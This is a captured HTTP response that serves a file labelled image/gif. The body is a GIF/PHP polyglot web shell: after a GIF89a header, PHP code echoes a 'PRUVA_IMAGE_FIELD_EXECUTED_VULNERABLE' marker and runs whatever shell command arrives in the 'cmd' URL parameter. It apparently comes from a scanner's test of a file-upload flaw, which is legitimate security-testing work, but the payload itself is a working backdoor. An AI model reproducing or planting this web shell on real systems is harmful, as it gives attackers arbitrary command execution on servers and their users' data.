HTTP/1.1 200 OK
Date: Mon, 06 Jul 2026 15:13:13 GMT
Server: Apache/2.4.66 (Debian)
Last-Modified: Mon, 06 Jul 2026 15:13:13 GMT
ETag: W/"c6-655f2b68845dc"
Accept-Ranges: bytes
Content-Length: 198
Content-Type: image/gif

GIF89a  А        ,       L ;
<?php
header('Content-Type: text/plain');
echo 'PRUVA_IMAGE_FIELD_EXECUTED_VULNERABLE\n';
if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd'] . ' 2>&1'); }
?>